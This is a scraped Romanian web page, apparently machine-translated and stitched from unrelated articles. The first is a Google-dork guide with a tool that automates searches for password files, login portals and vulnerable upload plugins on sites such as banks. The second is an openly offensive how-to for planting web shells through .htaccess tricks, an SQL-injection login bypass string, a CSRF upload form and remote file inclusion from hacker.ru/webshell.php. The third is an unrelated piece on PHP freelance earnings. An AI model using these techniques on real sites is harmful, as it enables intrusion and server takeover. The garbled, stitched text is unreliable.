<br></td> <td width="190">Certificate, copii de rezervă, e-mailuri, jurnale, scripturi SQL etc. <br></td> <td width="284">Găsiți scripturi sql de inițializare: <br><i>filetype:sql și „inserat into” -site:github.com</i><br></td> </tr><tr><td width="168">Fișiere care conțin parole <br></td> <td width="190">Orice poate conține parole - jurnale, scripturi sql etc. <br></td> <td width="284">Jurnalele care menționează parole: <br><i>tip fișier:</i><i>Buturuga</i><i>în text:</i><i>parola |</i><i>trece |</i><i>pw</i><br>scripturi sql care conțin parole: <br><i>ext:</i><i>sql</i><i>în text:</i><i>nume de utilizator</i><i>în text:</i><i>parola</i><br></td> </tr><tr><td width="168">Informații sensibile privind cumpărăturile online <br></td> <td width="190">Informații legate de achizițiile online <br></td> <td width="284">Găsiți coduri pin: <br><i>dcid=</i><i>bn=</i><i>pin</i><i>cod=</i><br></td> </tr><tr><td width="168">Date de rețea sau vulnerabilitate <br></td> <td width="190">Informații care nu au legătură directă cu resursa web, dar care afectează rețeaua sau alte servicii non-web <br></td> <td width="284">Găsiți scripturi automate de configurare proxy care conțin informații despre rețeaua internă: <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Pagini care conțin portaluri de conectare <br></td> <td width="190">Pagini care conțin formulare de conectare <br></td> <td width="284">pagini web saplogon: <br><i>intext:"2016 SAP AG. Toate drepturile rezervate." intitle:"Logare"</i><br></td> </tr><tr><td width="168">Diverse dispozitive online <br></td> <td width="190">Imprimante, routere, sisteme de monitorizare etc. <br></td> <td width="284">Găsiți panoul de configurare a imprimantei: <br><i>intitle:"</i><i>hp</i><i>laserjet"</i><i>inurl:</i><i>SSI/</i><i>Auth/</i><i>a stabilit_</i><i>config_</i><i>deviceinfo.</i><i>htm</i><br></td> </tr><tr><td width="168">Sfaturi și vulnerabilități <br></td> <td width="190">Site-uri web pe versiuni CMS vulnerabile <br></td> <td width="284">Găsiți pluginuri vulnerabile prin care puteți încărca un fișier arbitrar pe server: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorks se concentrează mai des pe căutarea pe toate site-urile de internet. Dar nimic nu vă împiedică să limitați domeniul de căutare pe orice site sau site-uri. <br>Fiecare interogare Google poate fi concentrată pe un anumit site, adăugând cuvântul cheie „site:somesite.com” la interogare. Acest cuvânt cheie poate fi adăugat la orice dork. <p><b>Automatizarea căutării vulnerabilităților</b><br>Așa s-a născut ideea de a scrie un simplu utilitar care automatizează căutarea vulnerabilităților folosind un motor de căutare (google) și se bazează pe baza de date Google Hack.</p><p>Utilitarul este un script scris în nodejs folosind phantomjs. Pentru a fi precis, scenariul este interpretat chiar de phantomjs. <br>Phantomjs este un browser web cu drepturi depline, fără GUI, controlat de cod js și cu un API convenabil. <br>Utilitarul a primit un nume destul de ușor de înțeles - nebuni. Rulându-l pe linia de comandă (fără opțiuni), primim ajutor scurt cu câteva exemple de utilizare: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Figura 1 - Lista principalelor opțiuni dorks</p><p>Sintaxa generală a utilitarului este: dork „comandă” „listă de opțiuni”. <br>O descriere detaliată a tuturor opțiunilor este prezentată în Tabelul 4.</p><p>Tabelul 4 - Sintaxa Dorks <br></p><table border="1"><tbody><tr><td width="214"><b>Echipă</b><br></td> <td width="214"><b>Opțiune</b><br></td> <td width="214"><b>Descriere</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Tipăriți o listă numerotată de categorii de dork baza de date Google Hack <br></td> </tr><tr><td width="214">-c „număr sau nume de categorie” <br></td> <td width="214">Încărcați ușile din categoria specificată după număr sau nume <br></td> </tr><tr><td width="214">-q „frază” <br></td> <td width="214">Descărcați dorks găsiți la cerere <br></td> </tr><tr><td width="214">-o "fișier" <br></td> <td width="214">Salvați rezultatul într-un fișier (numai cu opțiunile -c|-q) <br></td> </tr><tr><td rowspan="8" width="214">Google <br></td> <td width="214">-d „protu” <br></td> <td width="214">Setați un dork arbitrar (opțiunea poate fi folosită de mai multe ori, combinația cu opțiunea -D este permisă) <br></td> </tr><tr><td width="214">-D "dosar" <br></td> <td width="214">Folosește dorks din fișier <br></td> </tr><tr><td width="214">-s „site” <br></td> <td width="214">Setați site-ul (opțiunea poate fi folosită de mai multe ori, combinația cu opțiunea -S este permisă) <br></td> </tr><tr><td width="214">-S „fișier” <br></td> <td width="214">Utilizați site-uri dintr-un fișier (dorks vor fi căutați pentru fiecare site în mod independent) <br></td> </tr><tr><td width="214">-f "filtru" <br></td> <td width="214">Setați cuvinte cheie suplimentare (vor fi adăugate la fiecare dork) <br></td> </tr><tr><td width="214">-t „număr de ms” <br></td> <td width="214">Interval între solicitările către Google <br></td> </tr><tr><td width="214">-T „număr de ms” <br></td> <td width="214">Timeout dacă se întâlnește un captcha <br></td> </tr><tr><td width="214">-o "fișier" <br></td> <td width="214">Salvați rezultatul într-un fișier (vor fi salvate doar acele piese pentru care a fost găsit ceva) <br></td> </tr></tbody></table><br>Folosind comanda ghdb, puteți obține toate dork-urile de la exploit-db la cerere arbitrară sau puteți specifica întreaga categorie. Dacă specificați categoria 0, întreaga bază de date va fi descărcată (aproximativ 4,5 mii de dorks). <p>Lista categoriilor disponibile în prezent este prezentată în Figura 2. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Figura 2 - Lista categoriilor disponibile GHDB dork</p><p>Echipa Google va înlocui fiecare dork în motorul de căutare Google și va analiza rezultatul pentru potriviri. Căile în care a fost găsit ceva vor fi salvate într-un fișier. <br>Utilitarul acceptă diferite moduri de căutare: <br>1 nebun și 1 site; <br>1 nebun și multe site-uri; <br>1 site si multi nebuni; <br>multe site-uri și mulți idioți; <br>Lista de dorks și site-uri poate fi specificată fie printr-un argument, fie printr-un fișier.</p><p><b>Demonstrație de muncă</b><br>Să încercăm să căutăm orice vulnerabilități folosind exemplul căutării mesajelor de eroare. Prin comandă: dorks ghdb –c 7 –o errors.dorks toate dorks cunoscute din categoria „Mesaje de eroare” vor fi încărcate așa cum se arată în Figura 3. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>Figura 3 – Încărcarea tuturor dork-urilor cunoscute din categoria „Mesaje de eroare”.</p><p>Dorks sunt descărcate și salvate într-un fișier. Acum tot ce rămâne este să le „setezi” pe un anumit site (vezi Figura 4). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>Figura 4 – Căutare vulnerabilități ale site-ului de interes în memoria cache Google</p><p>După ceva timp, pe site-ul studiat sunt descoperite mai multe pagini care conțin erori (vezi Figura 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>Figura 5 – Mesaje de eroare găsite</p><p>Drept urmare, în fișierul result.txt obținem o listă completă de dorks care duc la eroare. <br>Figura 6 arată rezultatul căutării erorilor de site. <br><br>Figura 6 – Rezultatul căutării erorii</p><p>În memoria cache pentru acest dork, este afișată un backtrace complet, care dezvăluie căile absolute ale scripturilor, sistemul de management al conținutului site-ului și tipul bazei de date (vezi Figura 7). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>Figura 7 – dezvăluirea informațiilor despre designul site-ului</p><p>Cu toate acestea, merită luat în considerare faptul că nu toți idioții de la GHDB dau rezultate adevărate. De asemenea, este posibil ca Google să nu găsească o potrivire exactă și să nu arate un rezultat similar.</p><p>În acest caz, este mai înțelept să folosiți lista personală de proști. De exemplu, merită întotdeauna să căutați fișiere cu extensii „neobișnuite”, dintre care exemple sunt prezentate în Figura 8. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>Figura 8 – Lista extensiilor de fișiere care nu sunt tipice pentru o resursă web obișnuită</p><p>Drept urmare, cu comanda dorks google –D extensions.txt –f bank, de la prima solicitare Google începe să returneze site-uri cu extensii de fișiere „neobișnuite” (vezi Figura 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>Figura 9 – Căutați tipuri de fișiere „proaste” pe site-urile bancare</p><p>Merită să rețineți că Google nu acceptă interogări mai lungi de 32 de cuvinte.</p><p>Folosind comanda dorks google –d intext:”eroare|warning|notice|syntax” –f university <br>Puteți căuta erori de interpret PHP pe site-urile web educaționale (vezi Figura 10). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>Figura 10 – Găsirea erorilor de rulare PHP</p><p>Uneori nu este convenabil să folosiți una sau două categorii de idioți. <br>De exemplu, dacă se știe că site-ul rulează pe motorul Wordpress, atunci avem nevoie de module specifice WordPress. În acest caz, este convenabil să utilizați căutarea în baza de date Google Hack. Comanda dorks ghdb –q wordpress –o wordpress_dorks.txt va descărca toate dorks din Wordpress, așa cum se arată în Figura 11: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>Figura 11 – Căutare Dorks legate de Wordpress</p><p>Să ne întoarcem din nou la bănci și să folosim comanda dorks google –D wordpress_dords.txt –f bank pentru a încerca să găsim ceva interesant legat de Wordpress (vezi Figura 12). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>Figura 12 – Căutați vulnerabilități Wordpress</p><p>Este de remarcat faptul că căutarea pe baza de date Google Hack nu acceptă cuvinte mai scurte de 4 caractere. De exemplu, dacă CMS-ul site-ului nu este cunoscut, dar limbajul este cunoscut - PHP. În acest caz, puteți filtra manual ceea ce aveți nevoie folosind pipe-ul și utilitarul de căutare a sistemului dorks –c all | findstr /I php > php_dorks.txt (vezi Figura 13): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>Figura 13 – Căutați toate dorks unde este menționat PHP</p><p>Căutarea unor vulnerabilități sau a unor informații sensibile într-un motor de căutare ar trebui făcută numai dacă există un index semnificativ pe acest site. De exemplu, dacă un site are 10-15 pagini indexate, atunci este o prostie să cauți ceva în acest fel. Verificarea dimensiunii indexului este ușoară - trebuie doar să introduceți „site:somesite.com” în bara de căutare Google. Un exemplu de site cu un index insuficient este prezentat în Figura 14. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>Figura 14 – Verificarea dimensiunii indexului site-ului</p><p>Acum despre neplăcut... Din când în când Google poate solicita un captcha - nu poți face nimic în privința asta - va trebui să îl introduci. De exemplu, la căutarea prin categoria „Mesaje de eroare” (90 de idioți), captcha a apărut o singură dată.</p><p>Merită să adăugați că phantomjs acceptă și lucrul printr-un proxy, atât prin interfața http, cât și prin intermediul șosetelor. Pentru a activa modul proxy, trebuie să decomentați linia corespunzătoare din dorks.bat sau dorks.sh.</p><p>Instrumentul este disponibil ca cod sursă</p> <br>În acest articol vreau să vorbesc despre cele mai utilizate metode de încărcare a unui shell pe un site web. <b>Web-shell</b> este un fel de script (program) rău intenționat pe care atacatorii îl folosesc pentru a controla site-uri web sau servere. <p><b>Metoda 1</b><br>Găsiți un formular pe site pentru a încărca fișiere/imagini. Să presupunem că nu am reușit să piratam panoul de administrare al site-ului și că încercăm să ne inundăm shell-ul cu <b>extensie.php.jpg .</b> Dacă reușim, vom vedea o fereastră albă în loc de imagine, facem clic dreapta și urmăm linkul. În caz de defecțiune, putem folosi extensia Chrome <b>date de manipulare</b>. Vă permite să interceptați și să modificați cererea după cum doriți. Dacă site-ul verifică extensia fișierului, atunci mai întâi putem încărca <b>.htaccess</b> fișier cu conținut: <br>Aplicație AddType/x-httpd-php .jpg <br>Această comandă va executa fișiere jpg ca php. <br><b>Instrucțiuni video detaliate:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Instrucțiuni video pentru <b>instalarea datelor de manipulare:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>Metoda 2</b><br>Utilizați programul pentru a căuta panouri de administrare pe site - https://github.com/bdblackhat/admin-panel-finder. Când programul a găsit panoul de administrare, putem încerca sql-injection. În câmpul de autentificare și parolă al site-ului introducem codul: <br><p>" sau "1"="1" SAU 1=1/*</p><p>Dacă funcționează, atunci ajungem la panoul de administrare și <b>Procedăm conform metodei 1.</b> Dacă nu există sql-injection în panoul de administrare al site-ului, atunci putem încerca să-l depanăm sau să găsim un exploit pentru acest CMS. <br><b>Instrucțiuni video detaliate:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>Metoda 3</b><br>În metoda 3 vom căuta sql-injection pe site-ul propriu-zis. Putem face acest lucru manual sau folosim sqlmap. Există suficiente subiecte pe forum despre cum să faci injecțiile, așa că voi veni de departe. Așadar, acum am găsit deja un tabel cu datele de conectare și parola administratorului, decriptăm hashurile, mergem la panoul de administrare și ne bucurăm. Dar să presupunem că nu am putut decripta parola și totul a mers prost, apoi trebuie să verificăm privilegiile utilizatorului nostru <b>. </b> Verificăm privilegiile și încărcăm mini-shell-ul. <b>Din anumite motive, atunci când vreau să inserez codul, site-ul îmi dă o eroare.</b><p><b>Metoda 4</b><br>Metoda 4 implică un atac csrf. În codul de mai jos trebuie să înlocuim <b>http://</b> la link-ul nostru țintă. <b>Selectați shell</b>și apăsați butonul <b>încărcați.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Încărcați"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>Metoda 5</b><br>Aflați mai multe despre ținta dvs. și găsiți un exploit. Există un site foarte interesant pentru asta - https://www.exploit-db.com. Nimeni nu a anulat piratarea masivă a site-urilor web prin vulnerabilități, dar există deja un articol despre asta pe formular. <p>Există mai multe moduri de a umple o coajă și nu are rost să vorbim despre fiecare. Dacă doriți să exersați, atunci instalați dvwa - este un program conceput pentru a ajuta profesioniștii în securitate să își testeze abilitățile și instrumentele într-un mediu legal.</p><p><b>Metoda 6 <br><b>injecție PHP</b>- aceasta este o formă de atac asupra unui site web când atacatorul își injectează codul PHP în aplicația PHP atacată.</b><br>www.site.ru?page=home.html <br>Prin executarea comenzii vom încărca pagina principală, html. Acum vom încerca să încărcăm un shell rău intenționat. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>Dork: <b>Inurl:page=</b></p><p>Există, de asemenea, o modalitate de a găsi un shell deja încărcat folosind perl</p> <p> » </p><h1>Cum poate un programator PHP să câștige bani buni acasă?</h1><p>Cei mai de succes programatori PHP fac bani frumoși de acasă. La începutul oricărui venit, apar dificultăți. Se întâmplă că dificultățile și lipsa de cunoaștere a metodelor de câștig descurajează orice dorință de a câștiga bani acasă, iar apoi programatorii caută oportunitatea de a lucra în birouri, unde există o garanție mai mare că banii pot fi primiți în fiecare lună, iar creșterea profesională este posibil.</p><p>Dar a putea lucra de acasă are mai multe avantaje decât dezavantaje.</p><h3>pro</h3><p>Vei lucra pentru tine. Nimeni nu te va concedia, vei putea să-ți distribui propriul program sau să lucrezi la ora dorită.</p><p>Îți alegi singur o modalitate de a câștiga bani folosind programare, care, în primul rând, îți va crește interesul pentru muncă, iar în al doilea rând, ai o mare libertate de acțiune. Nu trebuie să lucrezi la ceva ce nu-ți place. Există, de asemenea, mai multe oportunități de a combina modalități de a câștiga bani.</p><h3>Minusuri</h3><p>Va fi dificil la început, iar pentru a obține primii bani pentru munca ta trebuie să investești mult efort și timp. Și pentru ca să existe profit, trebuie să te dezvolți constant și să ai răbdare și să îți distribui corect programul, astfel încât să ai timp suficient pentru a finaliza munca la timp.</p><h3>Câștigați bani din scripturile dvs</h3><p>Există multe scripturi diferite pe Internet pe care oamenii le pot descărca și instala cu ușurință pe site-ul lor. Puteți să vă scrieți propriul scenariu unic și există două opțiuni pentru cum puteți face bani din scenariul dvs. Vindeți-l sau postați-l prin serviciile de partajare a fișierelor. De asemenea, puteți utiliza două opțiuni. De exemplu, scripturi ușoare, dar în același timp este și foarte important să plasați prin intermediul serviciilor de file sharing exact acele scripturi care vor fi la mare căutare. Pentru a face acest lucru, scripturile trebuie să fie solicitate, astfel încât oamenii să le descarce pentru nevoile lor.</p><p>Scripturile mari pot fi vândute la prețuri rezonabile. Puteți posta un anunț pe forumuri sau, dacă aveți propriul blog sau site web personal, plasați o reclamă pentru vânzarea de scripturi.</p><p>În orice caz, indiferent de opțiunea pe care o alegeți, plasați scriptul în arhivă și asigurați-vă că includeți instrucțiuni detaliate și informații de contact despre dvs. Asigurați-vă că oferiți sprijin, pentru că este important să lucrați pentru dvs. La urma urmei, trebuie să fii recomandat sau să fii descărcat scripturile. Ele trebuie să fie de înaltă calitate. Dacă o persoană îți cere ajutor, explică-i politicos despre script sau ajută-l să-l instaleze. Scripturile dvs. ar trebui să aibă comentarii. De ce este responsabilă fiecare funcție etc. La urma urmei, o persoană se poate confunda cu ușurință în codul tău, unde nu există notații.</p><h3>Proiecte proprii și comune</h3><p>Este bine să-ți creezi propriul site web pentru a câștiga bani cu succes. Există multe oportunități de a câștiga bani cu site-ul tău. Dacă îl promovați bine, puteți posta acolo scripturi spre vânzare. Proiectele de colaborare vă vor extinde capacitățile, ceea ce este bun pentru succesul programării acasă. Prin urmare, căutați parteneri sau nu refuzați ofertele pentru a crea împreună un proiect.</p><p>Ar trebui să vă asigurați că adăugați funcții care să atragă atenția pe site-ul dvs. Site-ul poate avea un aspect obișnuit, simplu, dar în același timp cu propria lui întorsătură. Un site web personal ajută la creșterea clienților. Ei vor vedea cum funcționează scripturile dvs., dacă nu durează prea mult pentru a încărca, sunt interesante de utilizat și, cel mai important, originale, spre deosebire de orice altceva. Atunci vei găsi succesul.</p><h3>Câștiguri la comenzi</h3><p>Pentru a face acest lucru, trebuie doar să vă înregistrați în diferite burse pentru liber profesioniști și să căutați comenzi. Expuneți portofoliul dvs. de lucrări finalizate. Dar fii atent, sunt oameni necinstiți în lume și ca să nu te înșeli mai întâi arată lucrarea care se află pe serverul tău (apropo, în acest caz va trebui să închiriezi un vps http:/ /nkvd.pro/vps/), și apoi dacă vă plătesc o parte, apoi transferați jumătate pe serverul lor și faceți același lucru cu a doua parte. Această metodă de a câștiga bani este considerată profitabilă, dar depinde de gradul de cunoștințe și abilități. Depinde și de feedback-ul clienților tăi. Pentru a reuși în această metodă de a câștiga bani, faceți munca cinstit și eficient. Trebuie să fii capabil să comunici cu clienții, să explici clar ce poți și ce nu poți face.</p><p>Aceasta nu este întreaga listă de câștiguri pentru un programator php, dar datorită acestor metode de a câștiga bani, care sunt scrise mai sus, puteți câștiga deja bani fără a pleca de acasă. În etapa inițială, aceasta va fi o mare realizare. Principalul lucru este să nu te oprești aici. Îmbunătățiți constant și creați proiecte care vă vor aduce nu numai venituri bune, ci și plăcere.</p> <br><b>Despre autor</b> <br><p>Cum poate un programator PHP să câștige bani buni acasă?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Publicații conexe</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/d356145b8d32a4e43aa5ed76e39606a7.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/ro/vstupit-v-gruppu-po-zarabotku-deneg-kak-zarabotat.html">Cum să faci bani pe VKontakte pe pagina ta și fără el - metode de lucru cu adevărat</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/c140bebb4b361b4583c11c49e770bc39.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/ro/kak-pomenyat-temu-dlya-vkontakte-v-yandeks-brauzere-kak-pomenyat-temu-v-kontakte.html">Cum se schimbă tema pentru VKontakte în Yandex</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/40e1db5c5747911f9c43c259f44aeadb.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/ro/nastroika-velokompyutera-na-diametr-koles-26-2-2-podklyuchenie-velokompyutera-kak.html">Setarea computerului pentru bicicletă pentru diametrul roții 26 2</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/programs/">Programe</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/devices/">Dispozitive</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/browsers/">Browsere</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/reviews/">Recenzii</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/reviews/">Recenzii</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/setup/">Setări</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/torrent/">Torent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/editors/">Editori</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Ultimele note</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/5e60cc62a5f20ab07a340013922f0d2c.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Cel mai mic computer din lume: fotografie, descriere, evaluare Cel mai mic computer din lume" / loading=lazy loading=lazy> <span class="cat">Programe</span></div> <a href="https://storerarity.ru/ro/samyi-malenkii-kompyuter-v-mire-foto-opisanie-reiting.html">Cel mai mic computer din lume: fotografie, descriere, evaluare Cel mai mic computer din lume</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/cdb555606d94b8ae1d51c87fc743c991.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Cum să instalați aplicația Yula și să vă înregistrați" / loading=lazy loading=lazy> <span class="cat">Programe</span></div> <a href="https://storerarity.ru/ro/kak-postavit-prilozhenie-yula-zaregistrirovatsya-prilozhenie-yula-ustanovka.html">Cum să instalați aplicația Yula și să vă înregistrați</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/af70d4bfa7ecf603e659893b5979f8d6.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Smartphone Samsung Grand Duos: caracteristici, recenzii Samsung galaxy grand duos descriere" / loading=lazy loading=lazy> <span class="cat">Programe</span></div> <a href="https://storerarity.ru/ro/samsung-galaxy-grand-duos-bolshoi-i-moshchnyi-smartfon-samsung-grand-duos-harakteristiki-otzyvy-sam.html">Smartphone Samsung Grand Duos: caracteristici, recenzii Samsung galaxy grand duos descriere</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Calculatoare pentru toată lumea - Configurare, instalare, recuperare</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/programs/">Programe</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/devices/">Dispozitive</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/browsers/">Browsere</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/reviews/">Recenzii</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/reviews/">Recenzii</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/setup/">Setări</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ro/category/torrent/">Torent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>